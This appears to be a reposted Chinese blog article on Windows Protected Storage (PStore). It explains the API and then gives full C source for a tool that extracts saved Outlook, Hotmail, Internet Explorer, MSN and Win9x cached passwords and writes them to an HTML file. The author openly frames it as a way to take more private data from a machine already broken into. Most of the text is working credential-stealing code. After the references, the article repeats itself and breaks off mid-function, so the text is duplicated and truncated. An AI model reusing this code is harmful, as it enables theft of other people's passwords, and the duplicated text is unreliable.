利用PStore获取帐号信息
来源:互联网 发布:光环新网java 编辑:程序博客网 时间:2024/05/04 16:19
1.简介:什么是PStore?
PStore的全称为:Protected Storage。在系统服务中我们可以看到它(9x没有)。它的作用就是为应用程序的安全保存做一个接口。在它里面记录了一些隐密的信息,比方说:
1. Outlook 密码
2. 删除的Outlook帐号密码
3. IE 密码保存站点密码
4. MSN登陆密码
5. IE 自动保存密码
等等。
2.问题:我们拿来做什么?
我不知道微软是什么样的想法,虽然说这是一个安全的帐号管理服务,但是微软却提供了PStore接口的API函数来对它进行控制。可能他们认为能看的到的都是系统管理,但是如果我们入侵了一台机器,想要获取关于该管理员更多的隐私,这个就是一个很好的方法了。我们可以来获取该用户自动保存在缓存中的密码信息(或者有可能是他不注意一下点到了自动保存^_^...)。总而言之,对一个黑客来讲,这是个好消息。
3.详释:相关函数
要使用PStore,最初我们要用到这个函数PStoreCreateInstance,用于接收接口指针。
函数原型如下:
HRESULT PStoreCreateInstance(
IPStore** ppProvider, //输出,用于接收接口指针
PST_PROVIDERID* pProviderID, //指向Storege提供者的GUID,为0时为默认
void* pReserved, //保留,必须为NULL
DWORD dwFlags //保留,必须为0
);
该函数正确时返回S_OK,注意这个函数因为没有提供SDK,必须手动从Pstorec.dll载入。
在上面函数中的IPStore是一个基于COM的接口,它提供了一引起方法以供调用:
方法 描述
CloseItem Closes a specified data item from protected storage.
CreateType Creates the specified type with the specified name.
CreateSubtype Creates the specified subtype within the specified type.
DeleteItem Deletes the specified item from the protected storage.
DeleteSubtype Deletes the specified item subtype from the protected storage.
DeleteType Deletes the specified type from the protected storage.
EnumItems Returns the interface pointer of a subtype for enumerating items in the protected storage database.
EnumSubtypes Returns an interface for enumerating subtypes of the types currently registered in the protected database.
EnumTypes Returns an interface for enumerating the types currently registered in the protected database.
GetInfo Retrieves information about the storage provider.
GetProvParam Not implemented.
GetSubtypeInfo Retrieves information associated with a subtype.
GetTypeInfo Retrieves information associated with a type.
OpenItem Opens an item for multiple accesses.
ReadAccessRuleSet Not implemented.
ReadItem Reads the specified data item from protected storage.
SetProvParam Sets the specified parameter information.
WriteAccessRuleset Not implemented.
WriteItem Writes a data item to protected storage.
这些方法里面,就我们要用的做一点说明,具体请参照MSDN:
指定枚举区域:
HRESULT EnumTypes(
PST_KEY Key, //PST_KEY_CURRENT_USER(0)表示当前用户,PST_KEY_LOCAL_MACHINE(表示计算机);
DWORD dwFlags, //保留,为0
IEnumPStoreTypes** ppenum
//一个接口,用来枚举类型,以后调用用的到,它有Next,Skip,Reset,Clone等方法。具体用法请看示例
);
用来获取项
HRESULT EnumItems(
PST_KEY Key, //同上
const PSGUID* pItemType, //用IEnumPStoreTypes->raw_Next方法获得。
const GUID* pItemSubtype, //调用IPStorePtr->EnumSubtypes方法获取IEnumPStoreTypesPtr接口,再通过调用IEnumPStoreTypesPtr->raw_Next获得
DWORD dwFlags, //保留,为0
IEnumPStoreItems** ppenum //真正获取项接口,以后就可以开始枚举了。
);
用来读取信息。
HRESULT ReadItem(
PST_KEY Key,
const PSGUID* pItemType,
const GUID* pItemSubtype,
LPCWSTR* szItemName,
DWORD cbData,
BYTE_RPC_FAR* pbData,
PPST_PROMPTIFO pPromptInfo,
DWORD dwFlags
);
4.动刀,开始编写代码:
上面费话很多,现在只看代码:
#include "stdafx.h"
#include <commctrl.h>
#include "resource.h"
#import "pstorec.dll" no_namespace
char SavingFname[MAX_PATH];
HWND hwndlistview;
BOOL iS9x=FALSE;
typedef struct TOOUTDATA
{
char POPuser[100];
char POPpass[100];
char POPserver[100];
}
OOUTDATA;
OOUTDATA OutlookData[50];
int oIndex=0;
void EnumOutlookAccounts()
{
ZeroMemory(OutlookData,sizeof(OutlookData));
HKEY hkeyresult ,hkeyresult1;
long l,i;
char name[200],skey[200];
DWORD dw2;
FILETIME f;
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, &hkeyresult1 );
if(ERROR_SUCCESS != lResult)
return ;
i=0;
l=0;
BYTE Data[150];
BYTE Data1[150];
DWORD size;
int j;
j=0;
DWORD type=REG_BINARY;
while(l!=ERROR_NO_MORE_ITEMS)
{
dw2=200;
l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f);
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
lstrcat(skey,"\\");
lstrcat(skey,name);
RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult );
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
lstrcpy(OutlookData[oIndex].POPserver,"Hotmail");
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS)
{
int totnopass=0;
char mess[100];
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1[i]==' ')||(Data1[i]=='-'))
{
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
ZeroMemory(Data1,sizeof(Data));
oIndex++;
}
else if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Server" , 0, &type, Data, &size ) ;
lstrcpy(OutlookData[oIndex].POPserver,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS)
{
int totnopass=0;
char mess[100];
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1[i]==' ')||(Data1[i]=='-'))
{
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
ZeroMemory(Data1,sizeof(Data1));
oIndex++;
}
j++;
i++;
}
}
void SaveToDisk(char *buf)
{
DWORD dwBytes;
HANDLE hf = CreateFile (SavingFname, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hf,0 ,NULL,FILE_END);
WriteFile (hf, (LPVOID)buf,strlen(buf), &dwBytes, NULL);
CloseHandle(hf);
}
BOOL AddItemm(BOOL Save,char *resname,char *restype,char *usrname,char *pass)
{
if(!Save)
{
LVITEM lvi;
lvi.mask = LVIF_TEXT;
lvi.state = LVIS_SELECTED ;
lvi.stateMask = 0;
lvi.iItem = 10000;
lvi.iSubItem = 0;
lvi.pszText = "";
int i = ListView_InsertItem(hwndlistview, &lvi);
if(!iS9x)
{
ListView_SetItemText(hwndlistview, i, 0, resname);
ListView_SetItemText(hwndlistview, i, 1, restype);
ListView_SetItemText(hwndlistview, i, 2, usrname);
ListView_SetItemText(hwndlistview, i, 3, pass);
}
else
{
ListView_SetItemText(hwndlistview, i, 0, usrname);
ListView_SetItemText(hwndlistview, i, 1, pass);
}
SetFocus(hwndlistview);
ListView_SetItemState (hwndlistview,i,LVIS_FOCUSED | LVIS_SELECTED, 0x000F);
ListView_SetSelectionMark(hwndlistview,i);
}
else
{
if(!iS9x)
{
SaveToDisk("\r\n");
SaveToDisk("<tr><td>");
SaveToDisk(resname);
SaveToDisk("</td><td>");
SaveToDisk(restype);
SaveToDisk("</td><td>");
SaveToDisk(usrname);
SaveToDisk("</td><td>");
SaveToDisk(pass);
SaveToDisk("</td></tr>");
SaveToDisk("\r\n");
}
else
{
SaveToDisk("\r\n");
SaveToDisk("<tr><td>");
SaveToDisk(usrname);
SaveToDisk("</td><td>");
SaveToDisk(pass);
SaveToDisk("</td></tr>");
SaveToDisk("\r\n");
}
}
return TRUE;
}
void EnumPStorage(BOOL Save)
{
typedef HRESULT (WINAPI *tPStoreCreateInstance)(IPStore **, DWORD, DWORD, DWORD);
HMODULE hpsDLL;
hpsDLL = LoadLibrary("pstorec.dll");
tPStoreCreateInstance pPStoreCreateInstance;
pPStoreCreateInstance = (tPStoreCreateInstance)GetProcAddress(hpsDLL, "PStoreCreateInstance");
IPStorePtr PStore;
HRESULT hRes = pPStoreCreateInstance(&PStore, 0, 0, 0);
IEnumPStoreTypesPtr EnumPStoreTypes;
hRes = PStore->EnumTypes(0, 0, &EnumPStoreTypes);
if (!FAILED(hRes))
{
GUID TypeGUID;
char szItemName[512];
char szItemData[512];
char szResName[1512];
char szResData[512];
char szItemGUID[50];
while(EnumPStoreTypes->raw_Next(1,&TypeGUID,0) == S_OK)
{
wsprintf(szItemGUID,"%x",TypeGUID);
IEnumPStoreTypesPtr EnumSubTypes;
hRes = PStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes);
GUID subTypeGUID;
while(EnumSubTypes->raw_Next(1,&subTypeGUID,0) == S_OK)
{
IEnumPStoreItemsPtr spEnumItems;
HRESULT hRes = PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems);
LPWSTR itemName;
while(spEnumItems->raw_Next(1,&itemName,0) == S_OK)
{
wsprintf(szItemName,"%ws",itemName);
char chekingdata[200];
unsigned long psDataLen = 0;
unsigned char *psData = NULL;
_PST_PROMPTINFO *pstiinfo = NULL;
hRes = PStore->ReadItem(0,&TypeGUID,&subTypeGUID,itemName,&psDataLen,&psData,pstiinfo,0);
if(lstrlen((char *)psData)<(psDataLen-1))
{
int i=0;
for(int m=0;m<psDataLen;m+=2)
{
if(psData[m]==0)
szItemData[i]=',';
else
szItemData[i]=psData[m];
i++;
}
szItemData[i-1]=0;
}
else
{
wsprintf(szItemData,"%s",psData);
}
lstrcpy(szResName,"");
lstrcpy(szResData,"");
//220d5cc1 Outlooks
if(lstrcmp(szItemGUID,"220d5cc1")==0)
{
BOOL bDeletedOEAccount=TRUE;
for(int i=0;i<oIndex;i++)
{
if(lstrcmp(OutlookData[i].POPpass,szItemName)==0)
{
bDeletedOEAccount=FALSE;
AddItemm(Save,OutlookData[i].POPserver,"OutlookExpress",OutlookData[i].POPuser,szItemData);
break;
}
}
if(bDeletedOEAccount)
AddItemm(Save,szItemName,"Deleted OE Account",OutlookData[i].POPuser,szItemData);
}
//5e7e8100 - IE:Password-Protected sites
if(lstrcmp(szItemGUID,"5e7e8100")==0)
{
lstrcpy(chekingdata,"");
if(strstr(szItemData,":")!=0)
{
lstrcpy(chekingdata,strstr(szItemData,":")+1);
*(strstr(szItemData,":"))=0;
}
AddItemm(Save,szItemName,"IE:Password-Protected sites",szItemData,chekingdata);
}
// b9819c52 MSN Explorer Signup
if(lstrcmp(szItemGUID,"b9819c52")==0)
{
char msnid[100];
char msnpass[100];
int i=0;
BOOL first=TRUE;
for(int m=0;m<psDataLen;m+=2)
{
if(psData[m]==0)
{
szItemData[i]=',';
i++;
}
else
{
if(IsCharAlphaNumeric(psData[m])||(psData[m]=='@')||(psData[m]=='.')||(psData[m]=='_'))
{
szItemData[i]=psData[m];
i++;
}
}
}
szItemData[i-1]=0;
char *p;
p=szItemData+2;
//psData[4] - number of msn accounts
for(int ii=0;ii<psData[4];ii++)
{
lstrcpy(msnid,p+1);
if(strstr(msnid,",")!=0)
*strstr(msnid,",")=0;
if(strstr(p+1,",")!=0)
lstrcpy(msnpass,strstr(p+1,",")+2);
if(strstr(msnpass,",")!=0)
*strstr(msnpass,",")=0;
p=strstr(p+1,",")+2+lstrlen(msnpass)+7;
AddItemm(Save,msnid,"MSN Explorer Signup",msnid,msnpass);
}
}
//e161255a IE
if(lstrcmp(szItemGUID,"e161255a")==0)
{
if(strstr(szItemName,"StringIndex")==0)
{
if(strstr(szItemName,":String")!=0)
*strstr(szItemName,":String")=0;
lstrcpyn(chekingdata,szItemName,8);
if((strstr(chekingdata,"http:/")==0)&&(strstr(chekingdata,"https:/")==0))
AddItemm(Save,szItemName,"IE Auto Complete Fields",szItemData,"");
else
{
lstrcpy(chekingdata,"");
if(strstr(szItemData,",")!=0)
{
lstrcpy(chekingdata,strstr(szItemData,",")+1);
*(strstr(szItemData,","))=0;
}
AddItemm(Save,szItemName,"AutoComplete Passwords",szItemData,chekingdata);
}
}
}
ZeroMemory(szItemName,sizeof(szItemName));
ZeroMemory(szItemData,sizeof(szItemData));
}
}
}
}
}
//////////////////Cashed PAsses- 9x
struct PASSWORD_CACHE_ENTRY
{
WORD cbEntry;
WORD cbResource;
WORD cbPassword;
BYTE iEntry;
BYTE nType;
char abResource[1];
};
typedef BOOL (FAR PASCAL *CACHECALLBACK)( struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData );
DWORD APIENTRY WNetEnumCachedPasswords(LPSTR pbPrefix,WORD cbPrefix,BYTE nType,CACHECALLBACK pfnCallback,DWORD dwRefData);
typedef DWORD (WINAPI *ENUMPASSWORD)(LPSTR pbPrefix, WORD cbPrefix, BYTE nType, CACHECALLBACK pfnCallback, DWORD dwRefData);
ENUMPASSWORD pWNetEnumCachedPasswords;
typedef struct
{
char *pBuffer;
int nBufLen;
int nBufPos;
}
PASSCACHECALLBACK_DATA;
BOOL PASCAL AddPass(struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData)
{
char buff[1024],buff2[1024];
int nCount;
PASSCACHECALLBACK_DATA *dat;
dat = (PASSCACHECALLBACK_DATA *)dwRefData;
nCount=pce->cbResource+1;
if(nCount>1023)
nCount=1023;
lstrcpyn(buff, pce->abResource, nCount);
buff[nCount] = 0;
CharToOem(buff, buff2);
if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen)
return FALSE;
lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
dat->nBufPos+=lstrlen(buff2)+1;
nCount=pce->cbPassword+1;
if(nCount>1023)
nCount=1023;
lstrcpyn(buff, pce->abResource+pce->cbResource, nCount);
buff[nCount] = 0;
CharToOem(buff, buff2);
if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen)
return FALSE;
lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
dat->nBufPos+=lstrlen(buff2)+1;
return TRUE;
}
void CashedPass(BOOL Save)
{
HMODULE hLib=LoadLibrary("MPR.DLL");
PASSCACHECALLBACK_DATA dat;
dat.pBuffer=(char *)malloc(65536);
dat.nBufLen=65536;
dat.nBufPos=0;
pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(hLib, "WNetEnumCachedPasswords");
pWNetEnumCachedPasswords(NULL, 0, 0xff, AddPass, (DWORD) &dat);
char *svStr;
svStr=dat.pBuffer;
do
{
char *svRsc=svStr;
svStr+=lstrlen(svStr)+1;
char *svPwd=svStr;
svStr+=lstrlen(svStr)+1;
char szUser[1024];
char szPass[1024];
AddItemm(Save,"","",svRsc,svPwd);
}
while(*svStr!='\0');
FreeLibrary(hLib);
};
/////////////////////////////////////////
#define TableHeader "<p><b><font color=\"#FF0000\"></font></b></p><table border=\"1\" cellpadding=\"0\" cellspacing=\"0\"style=\"border-collapse: collapse\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\">"
#define Table "</table>"
#include <commdlg.h>
LRESULT CALLBACK DLgProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
OPENFILENAME ofn;
char szFile[MAX_PATH];
switch (message)
{
case WM_INITDIALOG:
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)LoadIcon(GetModuleHandle(0), MAKEINTRESOURCE(IDI_ICON1)));
if(!iS9x)
SetWindowText(hDlg,"Protected Storage www.hirosh.NET");
else
SetWindowText(hDlg,"Cashed Passwords www.hirosh.NET");
hwndlistview = GetDlgItem(hDlg, IDC_LIST3);
LVCOLUMN lvcol;
if(!iS9x)
{
lvcol.mask =LVCF_TEXT;
;
lvcol.pszText = "Resource Name";
ListView_InsertColumn(hwndlistview, 0, &lvcol);
ListView_SetColumnWidth(hwndlistview, 0, 160);
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "Resource Type";
ListView_InsertColumn(hwndlistview, 1, &lvcol);
ListView_SetColumnWidth(hwndlistview, 1, 110);
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "User Name/Value";
ListView_InsertColumn(hwndlistview, 2, &lvcol);
ListView_SetColumnWidth(hwndlistview, 2, 200);
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "Password";
ListView_InsertColumn(hwndlistview, 3, &lvcol);
ListView_SetColumnWidth(hwndlistview, 3, 100);
EnumOutlookAccounts();
EnumPStorage(FALSE);
}
else
{
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "User Name/Value";
ListView_InsertColumn(hwndlistview, 0, &lvcol);
ListView_SetColumnWidth(hwndlistview, 0, 250);
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "Password";
ListView_InsertColumn(hwndlistview, 1, &lvcol);
ListView_SetColumnWidth(hwndlistview, 1, 150);
CashedPass(FALSE);
}
ListView_SetExtendedListViewStyle(hwndlistview,LVS_EX_FULLROWSELECT);
return TRUE;
case WM_COMMAND:
switch ( LOWORD(wParam) )
{
case IDOK:
ZeroMemory(&ofn, sizeof(OPENFILENAME));
ofn.lStructSize = sizeof(OPENFILENAME);
ofn.hwndOwner = hDlg;
lstrcpy(szFile,"*.*");
ofn.lpstrFile ="pstectedstorage.htm";
ofn.nMaxFile = sizeof(szFile);
ofn.lpstrFilter = "Htm\0*.htm\0";
ofn.nFilterIndex = 1;
ofn.lpstrFileTitle = NULL;
ofn.nMaxFileTitle = 0;
ofn.lpstrInitialDir = NULL;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
if (GetSaveFileName(&ofn)==TRUE)
{
lstrcpy(SavingFname,ofn.lpstrFile);
if(strstr(SavingFname,".htm")==0)
lstrcat(SavingFname,".htm");
SaveToDisk(TableHeader);
if(!iS9x)
{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">Resource Name </font></b></td><td><b><font color=\"#FF0000\">Resource Type </font></b></td><td><b><font color=\"#FF0000\">User Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
EnumOutlookAccounts();
EnumPStorage(TRUE);
}
else
{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">User Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
CashedPass(TRUE);
}
SaveToDisk(Table);
}
break;
case IDCANCEL:
EndDialog(hDlg, LOWORD(wParam));
ExitProcess(0);
break;
break;
}
}
return FALSE;
}
//
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
if((int)GetVersion() < 0)
iS9x=TRUE;
else
iS9x=FALSE;
if(lpCmdLine[0]==NULL)
{
InitCommonControls();
DialogBox(hInstance, (LPCTSTR)IDD_DIALGMAIN, 0, (DLGPROC)DLgProc);
}
else
{
lstrcpy(SavingFname,lpCmdLine);
SaveToDisk(TableHeader);
if(!iS9x)
{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">Resource Name </font></b></td><td><b><font color=\"#FF0000\">Resource Type </font></b></td><td><b><font color=\"#FF0000\">User Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
EnumOutlookAccounts();
EnumPStorage(TRUE);
}
else
{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">User Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
CashedPass(TRUE);
}
SaveToDisk(Table);
}
return 0;
}
//End of code###################################
5.后记,
文章写的很乱,代码也没怎么说明,如果有看不懂的地方还请原谅。
6.参考文献:
1.MSDN http://msdn.microsoft.com/library/default.asp?url=/library/en-us/devnotes/winprog/pstore.asp
2.Protected Storage http://www.codeproject.com/tools/HirPStorage.asp
PStore的全称为:Protected Storage。在系统服务中我们可以看到它(9x没有)。它的作用就是为应用程序的安全保存做一个接口。在它里面记录了一些隐密的信息,比方说:
1. Outlook 密码
2. 删除的Outlook帐号密码
3. IE 密码保存站点密码
4. MSN登陆密码
5. IE 自动保存密码
等等。
2.问题:我们拿来做什么?
我不知道微软是什么样的想法,虽然说这是一个安全的帐号管理服务,但是微软却提供了PStore接口的API函数来对它进行控制。可能他们认为能看的到的都是系统管理,但是如果我们入侵了一台机器,想要获取关于该管理员更多的隐私,这个就是一个很好的方法了。我们可以来获取该用户自动保存在缓存中的密码信息(或者有可能是他不注意一下点到了自动保存^_^...)。总而言之,对一个黑客来讲,这是个好消息。
3.详释:相关函数
要使用PStore,最初我们要用到这个函数PStoreCreateInstance,用于接收接口指针。
函数原型如下:
HRESULT PStoreCreateInstance(
IPStore** ppProvider, //输出,用于接收接口指针
PST_PROVIDERID* pProviderID, //指向Storege提供者的GUID,为0时为默认
void* pReserved, //保留,必须为NULL
DWORD dwFlags //保留,必须为0
);
该函数正确时返回S_OK,注意这个函数因为没有提供SDK,必须手动从Pstorec.dll载入。
在上面函数中的IPStore是一个基于COM的接口,它提供了一引起方法以供调用:
方法 描述
CloseItem Closes a specified data item from protected storage.
CreateType Creates the specified type with the specified name.
CreateSubtype Creates the specified subtype within the specified type.
DeleteItem Deletes the specified item from the protected storage.
DeleteSubtype Deletes the specified item subtype from the protected storage.
DeleteType Deletes the specified type from the protected storage.
EnumItems Returns the interface pointer of a subtype for enumerating items in the protected storage database.
EnumSubtypes Returns an interface for enumerating subtypes of the types currently registered in the protected database.
EnumTypes Returns an interface for enumerating the types currently registered in the protected database.
GetInfo Retrieves information about the storage provider.
GetProvParam Not implemented.
GetSubtypeInfo Retrieves information associated with a subtype.
GetTypeInfo Retrieves information associated with a type.
OpenItem Opens an item for multiple accesses.
ReadAccessRuleSet Not implemented.
ReadItem Reads the specified data item from protected storage.
SetProvParam Sets the specified parameter information.
WriteAccessRuleset Not implemented.
WriteItem Writes a data item to protected storage.
这些方法里面,就我们要用的做一点说明,具体请参照MSDN:
指定枚举区域:
HRESULT EnumTypes(
PST_KEY Key, //PST_KEY_CURRENT_USER(0)表示当前用户,PST_KEY_LOCAL_MACHINE(表示计算机);
DWORD dwFlags, //保留,为0
IEnumPStoreTypes** ppenum
//一个接口,用来枚举类型,以后调用用的到,它有Next,Skip,Reset,Clone等方法。具体用法请看示例
);
用来获取项
HRESULT EnumItems(
PST_KEY Key, //同上
const PSGUID* pItemType, //用IEnumPStoreTypes->raw_Next方法获得。
const GUID* pItemSubtype, //调用IPStorePtr->EnumSubtypes方法获取IEnumPStoreTypesPtr接口,再通过调用IEnumPStoreTypesPtr->raw_Next获得
DWORD dwFlags, //保留,为0
IEnumPStoreItems** ppenum //真正获取项接口,以后就可以开始枚举了。
);
用来读取信息。
HRESULT ReadItem(
PST_KEY Key,
const PSGUID* pItemType,
const GUID* pItemSubtype,
LPCWSTR* szItemName,
DWORD cbData,
BYTE_RPC_FAR* pbData,
PPST_PROMPTIFO pPromptInfo,
DWORD dwFlags
);
4.动刀,开始编写代码:
上面费话很多,现在只看代码:
#include "stdafx.h"
#include <commctrl.h>
#include "resource.h"
#import "pstorec.dll" no_namespace
char SavingFname[MAX_PATH];
HWND hwndlistview;
BOOL iS9x=FALSE;
typedef struct TOOUTDATA
{
char POPuser[100];
char POPpass[100];
char POPserver[100];
}
OOUTDATA;
OOUTDATA OutlookData[50];
int oIndex=0;
void EnumOutlookAccounts()
{
ZeroMemory(OutlookData,sizeof(OutlookData));
HKEY hkeyresult ,hkeyresult1;
long l,i;
char name[200],skey[200];
DWORD dw2;
FILETIME f;
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, &hkeyresult1 );
if(ERROR_SUCCESS != lResult)
return ;
i=0;
l=0;
BYTE Data[150];
BYTE Data1[150];
DWORD size;
int j;
j=0;
DWORD type=REG_BINARY;
while(l!=ERROR_NO_MORE_ITEMS)
{
dw2=200;
l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f);
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
lstrcat(skey,"\\");
lstrcat(skey,name);
RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult );
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
lstrcpy(OutlookData[oIndex].POPserver,"Hotmail");
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS)
{
int totnopass=0;
char mess[100];
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1[i]==' ')||(Data1[i]=='-'))
{
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
ZeroMemory(Data1,sizeof(Data));
oIndex++;
}
else if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Server" , 0, &type, Data, &size ) ;
lstrcpy(OutlookData[oIndex].POPserver,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS)
{
int totnopass=0;
char mess[100];
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1[i]==' ')||(Data1[i]=='-'))
{
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
ZeroMemory(Data1,sizeof(Data1));
oIndex++;
}
j++;
i++;
}
}
void SaveToDisk(char *buf)
{
DWORD dwBytes;
HANDLE hf = CreateFile (SavingFname, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hf,0 ,NULL,FILE_END);
WriteFile (hf, (LPVOID)buf,strlen(buf), &dwBytes, NULL);
CloseHandle(hf);
}
BOOL AddItemm(BOOL Save,char *resname,char *restype,char *usrname,char *pass)
{
if(!Save)
{
LVITEM lvi;
lvi.mask = LVIF_TEXT;
lvi.state = LVIS_SELECTED ;
lvi.stateMask = 0;
lvi.iItem = 10000;
lvi.iSubItem = 0;
lvi.pszText = "";
int i = ListView_InsertItem(hwndlistview, &lvi);
if(!iS9x)
{
ListView_SetItemText(hwndlistview, i, 0, resname);
ListView_SetItemText(hwndlistview, i, 1, restype);
ListView_SetItemText(hwndlistview, i, 2, usrname);
ListView_SetItemText(hwndlistview, i, 3, pass);
}
else
{
ListView_SetItemText(hwndlistview, i, 0, usrname);
ListView_SetItemText(hwndlistview, i, 1, pass);
}
SetFocus(hwndlistview);
ListView_SetItemState (hwndlistview,i,LVIS_FOCUSED | LVIS_SELECTED, 0x000F);
ListView_SetSelectionMark(hwndlistview,i);
}
else
{
if(!iS9x)
{
SaveToDisk("\r\n");
SaveToDisk("<tr><td>");
SaveToDisk(resname);
SaveToDisk("</td><td>");
SaveToDisk(restype);
SaveToDisk("</td><td>");
SaveToDisk(usrname);
SaveToDisk("</td><td>");
SaveToDisk(pass);
SaveToDisk("</td></tr>");
SaveToDisk("\r\n");
}
else
{
SaveToDisk("\r\n");
SaveToDisk("<tr><td>");
SaveToDisk(usrname);
SaveToDisk("</td><td>");
SaveToDisk(pass);
SaveToDisk("</td></tr>");
SaveToDisk("\r\n");
}
}
return TRUE;
}
void EnumPStorage(BOOL Save)
{
typedef HRESULT (WINAPI *tPStoreCreateInstance)(IPStore **, DWORD, DWORD, DWORD);
HMODULE hpsDLL;
hpsDLL = LoadLibrary("pstorec.dll");
tPStoreCreateInstance pPStoreCreateInstance;
pPStoreCreateInstance = (tPStoreCreateInstance)GetProcAddress(hpsDLL, "PStoreCreateInstance");
IPStorePtr PStore;
HRESULT hRes = pPStoreCreateInstance(&PStore, 0, 0, 0);
IEnumPStoreTypesPtr EnumPStoreTypes;
hRes = PStore->EnumTypes(0, 0, &EnumPStoreTypes);
if (!FAILED(hRes))
{
GUID TypeGUID;
char szItemName[512];
char szItemData[512];
char szResName[1512];
char szResData[512];
char szItemGUID[50];
while(EnumPStoreTypes->raw_Next(1,&TypeGUID,0) == S_OK)
{
wsprintf(szItemGUID,"%x",TypeGUID);
IEnumPStoreTypesPtr EnumSubTypes;
hRes = PStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes);
GUID subTypeGUID;
while(EnumSubTypes->raw_Next(1,&subTypeGUID,0) == S_OK)
{
IEnumPStoreItemsPtr spEnumItems;
